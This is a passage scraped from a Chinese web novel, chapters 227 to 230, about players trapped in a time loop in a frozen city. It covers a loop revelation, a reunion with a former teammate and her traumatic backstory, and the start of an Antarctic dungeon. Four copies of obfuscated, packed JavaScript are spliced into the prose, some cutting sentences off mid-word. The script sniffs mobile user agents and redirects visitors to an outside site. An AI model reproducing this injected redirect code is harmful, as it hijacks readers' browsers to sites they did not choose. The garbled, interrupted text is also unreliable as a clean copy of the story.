但当江意看向那个新的初与序,她却微微掀起眼皮,用一种淡漠的,带着了然的眼神看了他一眼,轻笑一声: “好久不见。” 那一批的“初与序”没有第一批她的开朗,反而带着随性和疏离,像是对什么都满不在乎。她似乎很不习惯“初与序”这个名字,当有人叫她名字时,她的反应总是慢半拍。她知晓一切,但当江意试图询问时,她总是避而不谈,只说:“你不用知道。我的路还很长。我们不会是最后一次见面。” 如同历史重演,初与序等人再次住进D栋,再次开始反抗,然后再次失败。最后初与序似乎死了,又似乎是与冬逢初再次失踪。永冬之城,D栋,又变回了最初那批人孤独守望的样子。 再后来…… 江意又一次在一年后熟悉的早晨醒来,见到的是第三批“新人”玩家到来的场面。 玩家,还是那些人。初与序,依旧在。 她的性格却又变了,变得和最初的初与序一样开朗,只是眉宇间多了一丝挥之不去的疲惫。 然后是第四批,第五批,第六批……第一百批,第二百批……直到如今,第五百五十五批。 每一次都像是被设定好的一般,玩家一样,目标一样,过程有偏差,但结局相同。所有的「初与序」都拥有循环的记忆,都知道部分或全部真相,但她们都选择了沉默,独自背负。而每一批的「初与序」都比上一批更疲惫,更沉默。但相应的,她们的能力也越来越强。 直到今年,第五百五十五批玩家进入时,江意已经懒得再去车站了,他以为自己会再次看到那个「初与序」。 但他看到的,却是一个对一切毫无记忆、彻头彻尾的“新人”。 也就是,此刻坐在他对面的,初与序。 叙述至此,戛然而止。 阁楼内一片死寂,江意看着初与序,她半张脸隐在阴影里,自始至终垂着眸子,看不清她眼中究竟是什么情绪。 江意开口:“所以我以为你知道,只是装不知道而已——你以前也不是没装过。” 初与序消化了一会儿这庞大的信息量,问:“这些事除了你,还有谁知道?” 江意沉吟片刻,答道:“每一次新的循环开始后,我会告诉白闽,她也记得陈秋天。” “所以,她知道所有事?包括我的不同?”初与序问。 江意点了点头。 初与序揉了揉眉心。难怪之前在T区仓库被屠宰场包围时,来的第一个人是白闽。在以往的循环中,每一次的「初与序」都会前往T区,白闽知道这些事,自然会来帮她。 她又开口问道:“既然每一批‘新人’到来,都意味着一次循环重置的开端。那你有没有试过在一年周期即将结束,新旧交替的那个晚上不睡觉,亲眼看看到底会发生什么?” 江意又点了点头。 “试过。”他说,“在第三次循环结束,即将迎来第四次的那天晚上。我直接去了车站,想看着‘变化发生。” “我坐在长椅上,车站的时钟一秒一秒跳向午夜十二点。当时整个永冬之城都很安静,除了风雪声,什么都没有。” “当时间到00:00:00时,我的意识直接被掐断,晕迷了。整个永冬之城都陷入了沉睡,没有人醒着。” “等我恢复意识时天已经亮了,人还在车站的长椅上,站台上已经站满了第四批‘新人玩家’。”他顿了顿,“其中,‘新’的你和冬逢初都还在内。” 初与序默默听着,问道:“那还有一个问题。你说永冬之城至今存在了9972年,你也经历了这么漫长的时光。如果每一次循环对应一年的新玩家周期,那么你应该见到了9972次我们,而不是555次。这个数字,对不上。” 江意似乎早已料到她会问这个,没有任何意外:“那如果循环并不是以‘年’为单位呢?假设,它有一个更长的周期。” “不算今年这一次,从第一次循环开始计算,554次循环,覆盖9972年。平均下来,每隔十八年,才会发生一次这样的全员重置。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102041|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他顿了顿,一字一句地说: “而你,冬逢初,还有景明垂,今年正好十八岁。” “十八年……”初与序道,“这十八年,是让‘新人玩家’从出生,到成长,再到合适的年龄进入永冬之城所需的准备时间?可永冬之城的新人玩家,年龄分布很广,并不都是十八岁。” 江意沉默了片刻,缓缓摇了摇头,也不知道如何解释。 良久,初与序叹了口气,撑着沙发站起身,无奈地说道:“先回去休息了……” 江意坐在原地,笑了一下:“好好休息。” 半个月的时间,倏忽而过。 白闽、向枝冥、安楚、回北、赵禾五人,也在处罚区的禁足室里老老实实(或者说无可奈何)地待满了半个月刑期。 就在江意等人计划进入《极地之下》副本的前一天,他们五人终于重获自由。 处罚区大厦楼下,白闽第一个蹦跳着冲出门,深吸了一口外面的自由空气。另外四人懒洋洋跟在后面。 几人刚走下台阶,就远远看见马路对面,站着几道熟悉的身影。 正是初与序、冬逢初、随歌、景明垂,还有江意。他们似乎已经等了一会儿,身影在从树枝上飘落而下的细雪中显得有些模糊,却又无比清晰。 白闽眼睛一亮,冲到几人面前,肘了一下最近的随歌:“哟!都在呢!听说A12被格式化了?关应好那个王八蛋被判了死刑?还有林志他们折在副本里了?” 初与序浅笑着,对她说道:“嗯。还有,你猜谁回来了?” 白闽眨了眨眼睛:“谁啊?” 一道身影从初与序他们几人身后的阴影里,带着笑意,缓缓探出头来。 那人穿着咖色毛衣,梳着低丸子头,带着温柔又有些戏谑的笑意,朝着白闽轻轻挥了挥手: “Hello。” 白闽一时不知作何表情。 她整个人僵在原地,如同一尊被突然冻住的雪雕。足足愣了好几秒,才难以置信道: “……陈、陈秋天?” 陈秋天笑着点了点头:“是我。” “我靠!!!”白闽猛地发出尖叫,下一秒如同出膛的炮弹,狠狠扑进了陈秋天的怀里,双臂死死搂住对方的脖子,“我靠!我靠!真的是你!陈秋天!我不是在做梦吧?!你真的回来了?!我靠!” 她语无伦次,只会重复着那几个语气词。 陈秋天也紧紧回抱住她:“嗯,回来啦,回来啦。” 这突如其来的重逢场面,让一旁的向枝冥、安楚、回北和赵禾看得有些发蒙。他们并不认识陈秋天。 向枝冥用手肘碰了碰身边的随歌,压低声音问:“喂,随歌,这姑娘谁啊?白闽怎么激动成这样?旧情人?” 随歌抱着胳膊,笑嘻嘻地看着:“旧情人?那可比旧情人厉害多了!这位可是我们前辈,陈秋天!咱们D栋激进派硕果仅存的元老,第一批玩家,长生者。” 这来头可太大了。 等白闽稍微平静下来,松开陈秋天,安楚这才找到机会,问道:“白闽,之前劫法场的时候,你是怎么上到忘川桥上去的?又是怎么下来的?” 白闽她眨了眨眼,拖长了语调:“这个嘛……是、秘、密、哦~” 向枝冥在旁边看得直翻白眼,没好气地挥了挥手:“得了得了,谁稀罕知道似的!” “走了啊,别想我!”白闽朝着几人道别,和陈秋天手拉手走了。 228.蝴蝶 其他人这么闹腾,回北此刻却安静得过分。她抱着胳膊,目送着白闽和陈秋天手的背影,神色似乎带着悲伤。 景明垂敏锐地察觉到了她的异常,来到向枝冥身边,低声问:“回北怎么了?你们队伍在禁足室遇到什么麻烦了?” 向枝冥闻言,也看了一眼回北,随即摇了摇头:“禁足室那点无聊关押,算不上麻烦。她啊,估计是看到白闽和陈秋天重逢,触景生情,想她女朋友了。” 景明垂微微一愣。 向枝冥继续道:“这么多年,只有她一个人被卷进这鬼地方。现实里,她和她女朋友都是警察,感情好得很。要我说,冬天这么寒冷的季节应该和爱人在一起取暖的,可永冬之城没有她的爱人。” 他看了一眼白闽和陈秋天消失的方向:“刚才看到白闽和陈秋天的样子,虽然她们是朋友,但那亲昵劲儿。回北看着,心里肯定更不是滋味了。” 赵禾站在一边,面无表情补充道:“听说她们在现实里,正在执行一项重要任务。回北被拉进来的时候,任务还没结束。现在她女朋友是生是死,外面情况如何,她一点消息都没有。” 初与序站在稍远一点的地方,只是垂下眼,不知道在想些什么。 D栋,1203。 陈秋天刚回永冬之城,1203布置不久,还有些空旷,透着一股淡淡的冷清感。厨房的小炉子上,一壶水正咕嘟咕嘟地滚着,旁边放着磨好的咖啡粉,咖啡的香气弥漫开来,冲淡了那点生疏。 白闽一进门就闻到了咖啡香,开玩笑道:“秋天,这些该不会都是特意为我准备的吧?你知道我今天出来?” 陈秋天关上房门,认真地点头:“是的。算着日子,知道你们差不多该出来了。咖啡是你以前喜欢的深烘豆子。” 白闽心里一暖,嘴上故意哼哼:“几千年了,口味说不定早变了呢 “变了再换。”陈秋天从善如流。 两人在客厅的沙发上坐下,陈秋天倒了两杯咖啡,氤氲的雾气模糊了彼此的面容。 “在副本里怎么样?”白闽捧着杯子,“等了这么久,很辛苦吧?” 陈秋天没有立刻讲述《坏孩子》副本里到底有什么,而是先取出几张照片,递给白闽。 “通关副本后,我触发了一个隐藏出口,那里是现实世界的一个角落。”陈秋天指着照片,“我在那里,开了家小酒馆。” 白闽接过照片,仔细看去。照片上是一家不大的酒吧,门头用灯光勾勒出“蝶恋酒吧”四个字,字体飘逸。给出的照片是二楼的,二楼装修是暖色调的木质结构,墙上挂着不少蝴蝶标本或蝶翼图案的装饰画,灯光昏黄温馨。 “蝴蝶?”白闽指着照片上的装饰。 “嗯,蝶恋。”陈秋天点头,“生意还不错,都是些熟客喜欢来坐坐。” 白闽一张张翻看着照片,评价道:“我突然想起来,我们处理局那老板口头禅总说‘业绩再跟不上就开除你们俩!’等我们出了永冬之城,还真就去辞职,开一家酒吧,看他怎么办!” 陈秋天赞同地点了点头。 两人接着聊起了分开后各自的经历。白闽讲永冬之城的变化,陈秋天则讲述自己是如何一点点拼凑出善佑医院背后的真相。 “所以,善佑医院根本不是什么精神病院,而是个培养杀手和抽取精神力,构建永冬之城的实验基地?”白闽听得眉头紧锁。 “是的。”陈秋天肯定道。 白闽缓了缓,又想起副本本身,问道:“那《坏孩子》副本里,还有没有其他特别的?” 陈秋天这次沉默了几秒,才慢慢回答: “我看到白阔了。” 白闽的动作僵住,她动了动嘴唇,似乎想说什么,又咽了回去,最终只问出一句:“那他在副本里死了没?” 陈秋天看着她,点了点头:“他死在火海里了。” 白闽静静地听着,脸上没有什么情绪,只是眼神有些空茫。过了好一会儿,她像是自言自语地,喃喃道: “他活该。” 白阔是白闽的亲生哥哥。 白闽从小就知道,自己的哥哥白阔,和别人不一样。 白阔品学兼优,斯文俊秀,待人温和有礼,是大人们口中“别人家的孩子”。只有他们的母亲发现了自己儿子的异常。 年仅十岁的白阔,痴迷的并非玩具或游戏,而是冰冷的机械结构与生物组织的结合。他偷偷解剖小动物,试图用金属零件进行改造,手上动作飞快,眼中全是着狂热。 母亲惊恐万分,试图用爱与教导将他拉回正常的轨道,却收效甚微。最终,为了挽救这个日渐走向悬崖的家庭,也或许是抱着用新生命唤醒长子人性的希望,母亲冒险生下了白闽。然而,希望伴随着巨大的代价,母亲因难产离世,留下了襁褓中的白闽和那个内心早已畸形的哥哥。 父亲的关爱短暂。白闽六岁那年,父亲在一场离奇的车祸中丧生,死因成谜。从此,年幼的白闽彻底落入了白阔的掌控之中。 十六岁的白阔,已然将他的“兴趣”发展成了更危险的行径。他加入了一个隐蔽的反社会组织(其成员后来不少成为了善佑医院的骨干),并利用获得的资源,与几个成年同伴开了一家小型黑诊所,暗地里人口拐卖,并将活体机械化改造。 她在黑龙江,那诊所也开在地下室。东北那边气温低,诊所的地下室哪里有暖气,一到冬天就冷得受不了,白闽最讨厌冬天。 或许是因为血缘,白阔没有对白闽进行□□上的机械改造,而是将她训练成了超越常人的完美实验体,在她脖颈前方植入了一枚蝴蝶形状的控制芯片。当芯片被激活,她的力量、速度、反应力都逼近机械,她也会拥有大部分机器人的能力,其中就包括能随意听懂任何生物的语言,但她仍保有人类的心智。 白闽十四岁那年,一个同岁的小姑娘被拐卖到了诊所里。她戴着昂贵的蝴蝶项链,眼神清澈,一看便知道是富人家的孩子。她告诉白闽,她叫陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102042|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋天,她相信蝴蝶象征着灵魂的自由,人死后,灵魂会化作蝴蝶飞走。 两个女孩因为一只蝴蝶的意象,迅速靠近,成为了好友。她们偷偷交换信息,分享食物,规划着逃离的路线。那只蝴蝶,从项链上的装饰,变成了她们心中共同约定的自由的图腾。 两年后,她们终于抓住了一个机会,逃出了诊所,并第一时间报了警。警方突袭了黑诊所,抓捕了一小部分未来得及转移的同伙,但核心成员和白阔本人,却成功逃脱,消失得无影无踪。 只留下一张纸条:「妹妹,和亲哥哥对立,背叛血亲,你总有一天会遭天谴的。」 陈秋天将无家可归的白闽带回了自己父母身边。陈秋天的父母对失而复得的女儿疼爱有加,也将历经磨难的白闽视如己出,收养了白闽。 他们试过很多办法去掉白闽脖子前的蝴蝶芯片标记,但都以失败告终。这个标记时刻提醒着白闽那段非人的过去。她始终笼罩在过去的阴影之下,无法真正融入阳光。 直到高考结束的那年夏天,陈秋天瞒着所有人,偷偷去了一家纹身店。在她自己脖颈前方与白闽芯片蝴蝶一模一样的位置,纹上了一只栩栩如生、展翅欲飞的蝴蝶。 “现在,我们一样了。”陈秋天说,“这可是勋章!我们带着它一起飞出去。” 那一刻,白闽才真正感觉到自己或许可以摆脱过去。那只蝴蝶,不再仅仅是控制和痛苦的象征。 高考成绩出来,她们考上了顶尖的大学,选择了与追查异常相关的专业。毕业后,两人凭借出色的能力,加入了“世界异常人员管理组”。她们从未忘记白阔,也坚信他并未消失,而是潜入了更黑暗的非法组织,继续着他的“实验”,危害着更多无辜的生命。她们的调查,最终指向了那座表面光鲜亮丽的私立机构——善佑青少年精神病院。 然而,那里的安保远比当年的黑诊所好,她们始终未能找到善佑医院的真正面目。直到她们自己被卷入了永冬之城。 这破地方可比东北冷多了,但幸亏有暖气,还有好朋友,陈秋天也在这里。自己的半机械体能让自己在危机四伏的副本里活下来,也能保护身边想保护的人。 而如今,陈秋天从那个以善佑医院为背景的副本中归来,带回了一个消息: 那傻B不仅还活着,还加入了善佑医院,成为了那里的医生,继续着他的“工作”。 白阔。 我去你的白阔。 说自己妹妹总有一天会遭天谴。 好,我等着呢。 现在呢?现在遭天谴的是谁?是谁从诊所里逃了?是披着医生的皮继续干那些见不得光的勾当?又是谁被活活烧死在副本内的火场里? 你既然会死在副本里,迟早有一天就会在现实里死去。 我每呼吸一次,蝴蝶就会扇动一次翅膀,飞向温暖的世界。哥哥,这不是耻辱的烙印,是共生的誓言。我会与过去告别,而你只能被自己的执念困死在原地,永世不得超生。 229.极地之下 第二日凌晨四点,天色还沉在墨蓝之中。 D栋几家已经灯火通明,1702里,随歌正试图把他客厅里那个几乎有半人高的老式铸铁热炉子,拼命往系统面板里塞。炉子的一条腿已经没入光屏,另一大半还卡在外面。 “我滴乖乖!你给我住手!”刚进门的S23被吓得冲过去,一把按住炉子,“你要死啊!你前脚把这玩意带进副本,后脚系统可能把你连人带炉子一起踢出来!” 随歌满脸不服:“南极冰川!你知道有多冷吗大哥!零下好几十度,不带取暖设备,你是想我们几个直接变成冰雕,给副本增加点景观吗?” S23被他气得想笑:“你猜为什么这副本被定为S级?考验的就是极端环境下的生存探索和应变能力!你带个炉子进去,和开挂有什么区别?” 随歌悻悻然,只好骂骂咧咧地把沉重的炉子拖出来,哐当一声扔回墙角。他眨了眨眼睛,又拽出一件看起来能塞两个人的超厚羽绒服,抱在怀里就要往面板里塞。 “俺娘嘞!你又想干嘛?!”S23感觉自己今天出门没看黄历。 “取暖设备不给带,我带厚衣服总行了吧?”随歌理直气壮,“系统还能因为我们穿得太暖和,逼我们脱掉不成?” S23扶额,深深叹了口气:“像冲锋衣、防寒裤、护目镜、绳索等等这些专业极地探险设备,副本里会提供的!再说了,南极那种地方,你以为光靠一件死厚的羽绒服就能活?不透气,活动不便,一出汗,外面寒风一吹,死得更快!” 随歌被怼得哑口无言,憋着嘴,一脸“那你说带啥”的样子,把羽绒服扔回沙发。 就在这时,隔壁1701的江意走了出来,朝混乱的室内扫了一眼,平静道:“要带的我和景明垂已经准备好了,现在走就行。” 见到江意,S23终于松了口气,走到他身边告状:“意哥,你有空还是给你这好队员补补常识吧,我怀疑他以为南极是去郊游看企鹅的。” 江意:“……” 两人来到车站时,另外三人已经等在那里。车站只有几盏苍白的灯孤零零亮着,零星几个早起下副本的玩家行色匆匆。 初与序朝江意点了点头,算是打招呼。她前几天曾经问过江意,前面几次循环,他们进入《极地之下》副本的情况。 ——在之前的554次循环里,他们并非每次都会进入这个副本,但进入过的几次结果都顺利。但这一次,一切都不同。 这一次的初与序没有记忆,队伍里多了个景明垂,关应好提前死亡,陈秋天回来……变数太多了。之前循环里,是关应好带人尾随追杀,而这一次,极有可能是屠宰场的首领亲自下场,是生是死,还真说不准。 D019次列车缓缓到站,J23嘴里叼着半个面包,朝他们懒洋洋地抬了抬下巴:“早啊。” 几人依次上车,在自己惯常的位置上坐下。列车缓缓启动,逐渐加速,一头扎进前方未知的雪原之中。 【尊敬的各位玩家您好,您搭乘的D019次列车正在行驶。本次列车起点站:永冬之城;终点站:《极地之下》。接下来,我会为各位讲解副本背景设定:】 【公元九世纪,吐蕃王朝时期,西藏冈仁波齐山下的某寺庙中,一位大法师于冰湖深处发现了一块天外陨铁。他以秘法锻造七年,铸成一枚青铜铃铛,命名为“血誓铃”。传说拥有操纵人性,缔结血契的古老力量。】 【1943年秋,纳粹某特工从一位叛逃僧侣口中得知了血誓铃的传说。1944年冬,一支特别行动队潜入西藏,炸毁寺庙,夺走血誓铃。】 【1945年3月,二战尾声,纳粹德国败局已定,在疯狂中,他们启动了代号“极地重生”的绝密计划。一艘载有血誓铃及六位顶尖科学家的“施瓦茨维尔特号”科研船,从挪威港口出发,驶向南极威德尔海。纳粹相信血誓铃能帮助他们逆转战局,计划在那里用铃铛进行最终实验。】 【1945年4月2日,“施瓦茨维尔特号”抵达预定坐标,科学家们迫不及待地开始实验。他们强迫随船的十五名战俘将血液滴在铃铛上,随后摇动铃铛,试图测试“意识控制”效果。可当晚,全船成员集体精神失常,相互残杀,整整持续了三天。】 【4月5日清晨,最后一名活着的科学家引爆了船上的部分炸药,试图与铃铛同归于尽,船体断裂,血誓铃完好无损,双双沉入冰海。】 【从那日起,当地向导间流传着一句话:“威德尔海有一片会吃人的冰。它不杀你,它让你杀死自己。”】 【主线任务:在三年内,查明“施瓦茨维尔特号”事件的真相。】 【特殊环境规则:玩家需保持体温,持续在低温环境下超时15分钟将触发“深度冻伤”状态,生命值持续下降,移动速度降低70%。】 【祝各位存活愉快。】 列车缓缓停下,车门打开,像往常一样,外面是浓重的雾气。 雾气被狂暴的气流卷动着,刹那,冰冷彻骨的狂风裹着冰粒,劈头盖脸的地砸了进来。气温下降,风大得让人几乎站不稳,呼吸都为之一窒,冰冷的空气灌入喉咙,带来刺痛。 J23被这突如其来的寒流激得了个哆嗦,转过头对五人吼:“门开了!就在这儿!你们快点下去自求多福吧!老娘先回宿舍烤火去了!” 五人刚踏出车厢,身后的车门就猛地合上,列车启动加速,几秒后消失得无影无踪,尾气都没留下。 五人:“……” 随歌抹了把脸,冻得发抖:“真他妈……跑得快。” “……还是快走吧。”冬逢初默默向前方走去。 五人顶着冷冽的寒风穿过迷雾,眼前是一片无垠的冰原,脚下冰川厚达数百米,幽蓝色的光从冰隙深处透出来,天是灰黑色的,沉沉地压着冰原尽头,狂风卷起大片的雪。远处,巨墙般的冰凌拔地而起,高达百米,风嚎叫着穿过那些冰隙,呜咽声绵绵不绝。 初与序的眼睛被风刮得生疼,只好垂下眼,放弃了眺望。 她侧过头,看向身边的人。 冬逢初就站在她身边,棕发在狂风中乱舞,呼吸凝成白雾。他察觉到她的视线,微微侧过头,眼底映着冰原的冷光,却又很静,静得像深冬夜里结冰的海面。 江意从面板里取出一枚巴掌大小的古铜罗盘,他垂眸看了片刻,平静道:“南极大陆,威德尔海边缘,南纬72°,西经48°。暴风雪,地温零下四十九,风速百里。” “你这是咋看出来的!”随歌扯着嗓子喊,“哇靠——这也太冷了!这真的要把我们吹成冰雕了!” 景明垂抬手挡在眼前,望向远处。 冰原一路延伸到视线尽头,与灰黑色的天融在一起,分不清边界。正前方不远处,一座半圆形的金属建筑半埋在冰层里,屋顶覆着厚厚的雪,一扇圆形的窗户透着灯光。门外的铁牌在风中晃荡,上面分别用英文、俄文和中文写着: 「新希望站-建于19 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115252|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 82年-南极条约指定科研前哨」 下面还有一行小字: 「注意:威德尔海域存在不可预测冰况与气象危险,所有外出活动必须由认证向导带领。」 景明垂指向那里:“有科研站。” 江意收起罗盘,率先迈步踏入齐膝深的积雪:“走吧,先去找向导。” 五人来到科研站前面,踏上半埋在雪里的台阶,江意抬手叩了三下门。片刻后,门从内被拉开。 暖黄色的光和暖气率先涌了出来,一个穿着厚重羽绒服的老人站在门内,大约六七十岁,脸上皱纹很深。他有一双灰色的眼睛,像是蒙着一层终年不散的雾,看人的时候,目光沉沉的,没什么情绪。 “你们是谁?”他声音沙哑。 江意直接开门见山:“您好,我们是调查人员,为当年的沉船来。” 老人看着他们五个,没有意外,仿佛早就知道会有这么一群人穿过风雪找到这里。他沉默片刻,侧身让开一条路:“进来说吧。” 室内比外面暖和很多,但仍旧冷,墙上挂着褪色的南极地图、气象记录表,一些老旧的照片,一张木桌上摆着几个搪瓷杯,旁边的炉子上煮着一壶咖啡,咕噜咕噜地响。 老人走到炉子边,背对着他们,往杯子里倒咖啡。 “暴风雪还要持续很久。”他端着被子转过身,“我是埃文约根森,这里的向导。外面冷,你们在这里暖和暖和。” 初与序和冬逢初在桌边坐下,江意没坐,靠墙站着,随歌搓着手凑到炉子边取暖,景明垂站在窗边,静静看着外面的风雪。 “您知道我们为什么来。”江意说道,不是疑问句。 埃文没立马回答,喝了一口咖啡。 “知道。”他放下杯子,“每年都有人来。为了那艘鬼船,为了那个铃铛。” 他抬眼瞅了他们几眼,“但像你们这么年轻,一点装备都没带还安全到达这里的,我倒是第一次见。” “不止我们来过?”景明垂抬头。 “我可以告诉你们,后来三十年,有三支探险队来过,都声称要调查真相。”埃文开口,“第一支,三个人,消失在冰墙里,至今没找到尸首。第二支,五个人,在海岸线搭了帐篷,第二天早上,帐篷完好,人不见了,雪地上没有脚印。” “第三支……就是我那支。六个人进去,我一个人出来。我看到他们是死在彼此手里的。” “那艘船,施瓦茨维尔特号,现在沉在哪儿了?”随歌转过头忍不住开口。 埃文说:“在冰海底下,威德尔海那片。” “我们想去看看。”江意说。 埃文猛地看向他,斩钉截铁道:“不行。那地方不能去,那不是一艘普通的沉船!” 景明垂转过身,走到埃文面前:“正因如此,我们才必须去。我们不是之前那三支队伍,我们也不是为了发财或者扬名,我们有必须做的事。您帮我们,就是帮更多人。” 她指了指墙上一张泛黄的集体照,所有人顺着看过去,照片正中间的年轻人正是埃文,他身边站着五位笑容灿烂的好友。 埃文盯着照片看了许久,才点了点头:“好,我带你们去。” 他抬起头,一字一句道:“但你们必须全程听我的话。每一步,每一个动作,都必须按我说的做。不能擅自离开,不能触碰不该碰的东西,绝对不能在船里摇任何铃铛。” “否则,后果自负,我不会为你们的尸体负责。” 230.极地之下 埃文看向窗外:“等暴风雪停了我们就……” “现在就出发。”初与序开口说。 埃文张了张嘴,想说这根本是送死。冰原上的暴风雪能吞没一切,能见度不到五米,温度还在持续下降。可没等他开口,初与序又平静地补了一句:“我们只有三天时间。” 埃文最终什么也没说,只是无奈地摇了摇头,嘀咕了一句:“真是年轻人心高气傲不怕死。” 他站起身,他转身走向后面的屋子:“你们先跟我来。” 五人跟着他穿过一扇窄门,来到一间稍小的房间。这里比外面暖和些,屋子一侧靠墙立着几排架子,上面整齐地挂着各种衣物和工具。都是清一色的极地装备,像是早有准备。 埃文站在一边,说道:“以你们现在穿的这个,肯定走不了半个路程。暴风雪里十分钟就能冻透。” 他抬手指了指架子:“这里有备用的冲锋衣和护目镜,你们自己找合适的换上,后面有独立的换衣室。我去整理一些路上必要的东西。” 说完,他便转身出了房间,留下五人和满室的装备。 随歌走上前,伸手摸了摸挂在最外面的一套。那是一套蓝白相间的防水冲锋衣,布料厚实。配套的黑色防水裤、防水靴、护目镜、手套,全都整整齐齐地叠放在一起。 “S23说得还真对的诶。”随歌拎起衣服,抖开看了看,“副本里真的会提供这些装备。” 几人动作利落地换上装备,身体渐渐暖起来。 埃文已经等在门外,脚边放着几个背包。他看了他们一眼,弯腰拎起几个白色的中型背包,一个接一个扔给他们。 “背上。”他说,“装着的都是重要的东西,GPS定位器也在里面,保命用的。千万别弄丢了。” 他自己也背起一个更大的背包,看起来比五人的重得多。他没再说话,只是转身,带着他们穿过科研站内部一条昏暗的通道,来到一扇厚重的金属门前。 门上有锈迹,把手裹着一层薄冰。埃文伸手握住门把,用力一拧,再向外推。 门开了一条缝。 凛冽的寒风瞬间从缝隙里挤进来,发出呼啸,砸在人脸上像刀子割。门外的世界白茫茫一片,雪被狂风卷成狂暴的洪流,能见度低得可怕。别说五米,连看清自己脚下都困难,走几步就怕摔死。 暴风雪的雪片横飞着,密集得像是白色的沙尘暴。风声凄厉如鬼哭,在冰原上横冲直撞,卷起地上的积雪,又将天上的雪狠狠摔下来。 埃文回头看了五人一眼。 他脸上没什么表情,大概在等,等这些年轻人露出恐惧,退缩,或者至少问一句“真的要现在出去吗”。 但没有人说话,随歌甚至往前凑了半步,探着头往外看,然后缩回来,咧嘴笑了笑。 埃文收回目光,转回身,深吸了一口气。那口气吸进去,冰冷刺肺。 他不再犹豫,猛地将门完全推开。 风雪瞬间灌满整个通道,像是要将他们从这狭小的庇护所里卷出去,抛进无边无际的冰原。 埃文率先迈出门,身影立刻被风雪吞没大半,只剩下一个模糊的轮廓。五人没有停顿,迈步跟上。 刚迈出一步,狂风就挟着雪片狠狠撞在几人身上,推得几人向后平移了半步。埃文弓着背,站稳脚跟,提高音量大吼:“戴好护目镜!别摘!雪盲不是闹着玩的!” “别离太远!但也不要靠太近!看清楚脚下!冰缝被雪盖住,掉下去没人能拉你上来!跟着我!走我的脚印!一步错,就可能永远留在这儿!” 冬逢初朝初与序前方迈出一步,挡在她前面,微微侧过头,轻声道:“风雪大,你走我后面。” 初与序感觉迎面而来的风和寒冷小了些。 随歌在几步外看着,表示“操,我也要谈恋爱,让我对象帮忙挡风。”结果一开口冰渣子灌了满嘴,他赶紧“呸呸呸”吐出来,老老实实闭上嘴继续激流勇进。 埃文停在原地,从怀里掏出一张手绘地图,又摸出一个指南针。地图摊开,纸张泛黄,上面绘制着精细的地图,山脉、冰裂、洋流,甚至一些冰层的厚度都有标注。 他低头看地图,又抬头看前方,反复几次。 五人顶着风凑过去。 地图中央,画着威德尔海的轮廓。一条用红笔加粗的路线,从标注着“新希望站”的小点蜿蜒延伸出去,穿过一片画满密集交错的细线区域,旁边用小字标注:「冰墙迷宫」。 路线最终终止在一片用蓝色阴影表示的海域边缘,那里画着一艘小船形图案,旁边写着德文:「Schwarzwelt」。 埃文抬起手,粗糙的手指指向地图上一条用红色虚线标出的路线。“这里是新希望站,我们现在的位置。沉船的地方,大概在这个方位,威德尔海上面靠近中段的地方。” 他手指在地图上移动,停在一片用蓝色阴影标记的区域:“从这里到沉船上方,只有一条路能走。” 他顿了顿,抬起头,再次望向远方:“但这条路上,有一个大麻烦。” 他收回手指,在地图上重重一点。那一点正落在一片密密麻麻的网状线条中央。 “冰墙迷宫。” “那是天然形成的,冰层挤压、断裂,年复一年,变成了现在这样。墙高百米,通道错综复杂。风在里面拐弯,声音会变,像人在哭,在说话。听久了,脑子会乱。冰墙结构也不稳定,随时可能塌。冰墙会移动,所以路线时刻在变,靠地图不够,得靠记性,和……运气。” 他看向五人:“必须穿过它,才能到达海岸,我们才能找合适的地方下潜。” 他收起地图和指南针,塞回怀里,动作被冻有些僵硬。 “现在后悔,还来得及。”他说。 还是没有人说话。 埃文等了片刻,见无人退缩,便不再多言,转过身,重新弓起背,迈步踏入更深的风雪中。五人跟上。 路的确很难走。 雪深及膝,每一步都要把腿从厚重的雪层里拔出来,再深深踩下去。风从四面八方来,雪片是坚硬的冰晶,打在冲锋衣上噼啪作响,打在护目镜上,很快糊上一层白霜,需要不断抹去。 呼吸进肺里的空气像冰刃,每一次吐气,眼前就是一团迅速消散的白雾。 他们路过巨大的冰山,静静矗立在灰白的世界里,折射着天光,泛着幽蓝。冰山脚下,海水并未完全封冻,墨蓝色的海面上漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 